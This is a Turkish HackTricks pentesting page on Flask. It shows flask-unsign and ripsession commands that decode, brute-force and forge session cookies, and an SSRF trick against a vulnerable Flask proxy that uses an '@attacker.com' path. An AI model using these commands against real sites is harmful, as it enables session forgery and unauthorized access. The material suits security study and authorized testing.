Flask

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin

Muhtemelen bir CTF oynuyorsanız bir Flask uygulaması SSTI ile ilişkili olacaktır.

Çerezler

Varsayılan cookie session adı session.

Çözücü

Çevrimiçi Flask cookies çözücüsü: https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Cookie’nin ilk ‘.’ karakterine kadar olan kısmını alın ve Base64 decode edin:

echo "ImhlbGxvIg" | base64 -d

Cookie ayrıca bir parola ile imzalanmıştır

Flask-Unsign

Gizli anahtarları tahmin ederek bir Flask uygulamasının session cookies’lerini fetch, decode, brute-force ve craft etmek için komut satırı aracı.

Client Challenge

pip3 install flask-unsign

Cookie’yi Çöz

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümlerle imzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Komut satırı aracı; flask-unsign ile oluşturulmuş cookies kullanarak web sitelerine brute-force uygular.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example sqlmap eval seçeneğini kullanarak bilinen bir secret ile flask için automatically sign sqlmap payloads yapar.

Flask Proxy ile SSRF

In this writeup burada Flask’ın “@” karakteri ile başlayan bir isteğe izin verdiği açıklanıyor:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Aşağıdaki senaryoda hangisi:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Örneğin “@attacker.com” gibi bir değerin girilmesine izin vererek SSRF’ye yol açabilir.

Tip

AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin